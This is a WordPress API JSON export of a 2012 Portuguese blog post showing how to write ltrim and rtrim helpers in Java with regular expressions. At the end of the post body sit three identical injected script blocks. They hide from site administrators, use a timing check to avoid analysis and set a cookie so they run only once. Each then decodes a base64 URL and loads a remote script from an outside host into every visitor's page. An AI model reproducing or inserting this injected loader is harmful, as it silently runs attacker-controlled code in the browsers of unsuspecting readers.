{"id":2451,"date":"2012-07-23T14:47:36","date_gmt":"2012-07-23T17:47:36","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=2451"},"modified":"2025-10-26T22:36:18","modified_gmt":"2025-10-27T01:36:18","slug":"removendo-espacos-em-branco-com-regex","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2012\/07\/23\/removendo-espacos-em-branco-com-regex\/","title":{"rendered":"Removendo espa\u00e7os em branco com regex"},"content":{"rendered":"<p style=\"text-align: justify;\">Para remover espa\u00e7os em branco no Java, temos um m\u00e9todo muito simples na classe String: o <a title=\"Trim\" href=\"http:\/\/docs.oracle.com\/javase\/7\/docs\/api\/java\/lang\/String.html#trim()\" target=\"_blank\" rel=\"noopener\">trim()<\/a>. Em alguns casos a gente s\u00f3 quer remover espa\u00e7os do come\u00e7o da string ou do fim.<\/p>\n<p style=\"text-align: justify;\">Infelizmente n\u00e3o h\u00e1 na classe String m\u00e9todos igual ao ltrim e rtrim do PHP, mas felizmente \u00e9 muito simples fazer o mesmo que essas fun\u00e7\u00f5es fazem com o uso de express\u00f5es regulares (regex).<\/p>\n<p style=\"text-align: justify;\">Para isso, criei dois m\u00e9todos:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\n\tpublic static String ltrim(String testeTrim) {\n\t\treturn testeTrim.replaceAll(&quot;^\\\\s+&quot;, &quot;&quot;);\n\t}\n\n\tpublic static String rtrim(String testeTrim) {\n\t\treturn testeTrim.replaceAll(&quot;\\\\s+$&quot;, &quot;&quot;);\n\t}\n<\/pre>\n<p style=\"text-align: justify;\">Eles possuem a mesma funcionalidade do ltrim e do rtrim, bastando simplesmente utilizar esses m\u00e9todos na mesma classe ou criar uma classe utilit\u00e1ria e realizar um import static desses m\u00e9todos (mais recomendado para reusabilidade).<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\n\t\tString testeTrim = &quot;   123   &quot;;\n\t\tSystem.out.println(rtrim(testeTrim));\n\t\tSystem.out.println(ltrim(testeTrim));\n<\/pre>\n<p style=\"text-align: justify;\">Para quem \u00e9 mais curioso, o \"\\\\s\" significa espa\u00e7o e o \"+\" significa um ou mais, ou seja, quando eu encontrar um ou mais espa\u00e7os. O \"^\" significa come\u00e7o da string e \"$\" fim da string, ou seja o ltrim significa substituir por nada (\"\") onde tiver um ou mais espa\u00e7os no come\u00e7o da string e o rtrim significa substituir por nada (\"\") onde tiver um ou mais espa\u00e7os no fim da string. Para mais informa\u00e7\u00f5es h\u00e1 um excelente<a title=\"Tutorial Regex\" href=\"http:\/\/docs.oracle.com\/javase\/tutorial\/essential\/regex\/\" target=\"_blank\" rel=\"noopener\"> tutorial de regex nesse site<\/a>.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Para remover espa\u00e7os em branco no Java, temos um m\u00e9todo muito simples na classe String: o trim(). Em alguns casos a gente s\u00f3 quer remover espa\u00e7os do come\u00e7o da string ou do fim. Infelizmente n\u00e3o h\u00e1 na classe String m\u00e9todos <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2012\/07\/23\/removendo-espacos-em-branco-com-regex\/\">Continue lendo  <span class=\"screen-reader-text\">  Removendo espa\u00e7os em branco com regex<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-2451","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2451","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=2451"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2451\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=2451"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=2451"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=2451"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}